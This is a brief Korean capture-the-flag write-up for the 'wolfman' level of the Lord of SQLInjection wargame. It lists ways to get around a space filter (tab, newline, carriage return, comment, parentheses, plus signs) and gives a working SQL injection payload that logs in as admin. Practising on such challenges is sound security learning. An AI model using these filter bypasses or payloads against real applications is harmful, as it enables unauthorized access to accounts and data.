[ Lord of SQLInjection ] wolfman
포스트
취소

[ Lord of SQLInjection ] wolfman



문제 분석


  1. 공백을 필터링 하고 있다.
  2. id가 admin이면 문제를 해결할 수 있다.



문제 풀이


공백은 다음과 같이 우호할 수 있다.

  • Tab : %09
  • Line Feed(\n) : %0a
  • Carrage Return(\r) : %0d
  • 주석 : /**/
  • 괄호 : ()
  • 더하기 : +


1
?pw=aaa'%0aor%0aid='admin'%23